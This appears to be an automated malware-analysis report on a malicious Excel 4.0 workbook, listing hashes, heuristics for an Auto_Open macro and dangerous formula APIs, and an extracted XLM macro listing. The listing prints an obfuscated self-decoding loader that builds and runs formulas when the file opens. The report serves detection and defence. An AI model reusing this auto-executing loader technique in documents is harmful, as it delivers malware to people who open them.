Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b359faf94670e81…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:25:05 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: dceb981d069f8b7d005d9f35afd2ac12 SHA-1: 7236cb9fb8505e7ee7235c6c59e89d5eab2f6f68 SHA-256: 6b359faf94670e81cbcc2f48133c3231ec93b6d32878e18da326ea5247cfe1bc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6661 bytes
SHA-256: 8fee3fe6c8a7659f980bfe609faf4507fe6136793fc9e9686b81f4f6f61bb3ea
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nknSrsYkG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F183 
' 0018     27 LABEL : Cell Value, String Constant - GMUhXzQUNdiT len=0 
' 0018     26 LABEL : Cell Value, String Constant - jPavvuLoyaa len=0 
' 0018     22 LABEL : Cell Value, String Constant - JYjUoRN len=0 
' 0018     23 LABEL : Cell Value, String Constant - lqIUcsrG len=0 
' 0018     25 LABEL : Cell Value, String Constant - LUvORCqllE len=0 
' 0018     25 LABEL : Cell Value, String Constant - ndcgDWrPss len=0 
' 0018     21 LABEL : Cell Value, String Constant - oOcUhd len=0 
' 0018     26 LABEL : Cell Value, String Constant - QcFCglNbxfm len=0 
' 0018     26 LABEL : Cell Value, String Constant - qskTjZWMGKq len=0 
' 0018     23 LABEL : Cell Value, String Constant - RKAeHPPw len=0 
' 0018     25 LABEL : Cell Value, String Constant - roPcHzJssO len=0 
' 0018     20 LABEL : Cell Value, String Constant - UDSgv len=0 
' 0018     21 LABEL : Cell Value, String Constant - uJEFWB len=0 
' 0018     20 LABEL : Cell Value, String Constant - vmdil len=0 
' 0018     26 LABEL : Cell Value, String Constant - WFNqnHjwSSP len=0 
' 0018     23 LABEL : Cell Value, String Constant - WScEeBbu len=0 
' 0018     23 LABEL : Cell Value, String Constant - WuPGYIGr len=0 
' 0018     26 LABEL : Cell Value, String Constant - yHGDvBWzddq len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZmKCj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZWFtfamJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nknSrsYkG,F88,"SET.NAME("yHGDvBWzddq",VALUE("0"))",""
'  nknSrsYkG,F90,"SET.NAME("roPcHzJssO",yHGDvBWzddq)",""
'  nknSrsYkG,F95,"SET.NAME("ZmKCj",yHGDvBWzddq)",""
'  nknSrsYkG,F99,"SET.NAME("uJEFWB",COUNTA(lqIUcsrG))",""
'  nknSrsYkG,F103,"SET.NAME("JYjUoRN",COUNTA(qskTjZWMGKq))",""
'  nknSrsYkG,F107,[],""
'  nknSrsYkG,F110,"SET.NAME("WFNqnHjwSSP","")",""
'  nknSrsYkG,F114,"roPcHzJssO",""
'  nknSrsYkG,F118,"SET.NAME("RKAeHPPw",HLOOKUP("*",lqIUcsrG,roPcHzJssO,FALSE))",""
'  nknSrsYkG,F120,"LUvORCqllE",""
'  nknSrsYkG,F125,"SET.NAME("WScEeBbu",yHGDvBWzddq)",""
'  nknSrsYkG,F129,[],""
'  nknSrsYkG,F134,"WScEeBbu",""
'  nknSrsYkG,F139,"oOcUhd",""
'  nknSrsYkG,F142,"WuPGYIGr",""
'  nknSrsYkG,F146,"GMUhXzQUNdiT",""
'  nknSrsYkG,F148,"SET.NAME("vmdil",VALUE(HLOOKUP("*",qskTjZWMGKq,GMUhXzQUNdiT,FALSE)))",""
'  nknSrsYkG,F151,"ZWFtfamJ",""
'  nknSrsYkG,F154,"WFNqnHjwSSP",""
'  nknSrsYkG,F158,"ZmKCj",""
'  nknSrsYkG,F163,NEXT(),""
'  nknSrsYkG,F168,"QcFCglNbxfm",""
'  nknSrsYkG,F171,"SET.NAME("f",INT(T(FORMULA(T(WFNqnHjwSSP)&"",""&T(QcFCglNbxfm)))))",""
'  nknSrsYkG,F174,"ndcgDWrPss",""
'  nknSrsYkG,F176,NEXT(),""
'  nknSrsYkG,F181,RETURN(),""
'  nknSrsYkG,F211,"SET.NAME("UDSgv",F88)",""
'  nknSrsYkG,F215,"lqIUcsrG",""
'  nknSrsYkG,F220,"SET.NAME("qskTjZWMGKq",R82C15)",""
'  nknSrsYkG,F224,"SET.NAME("ndcgDWrPss",232)",""
'  nknSrsYkG,F228,"SET.NAME("jPavvuLoyaa",6)",""
'  nknSrsYkG,F231,UDSgv(),""
'  nknSrsYkG,F232,HALT(),""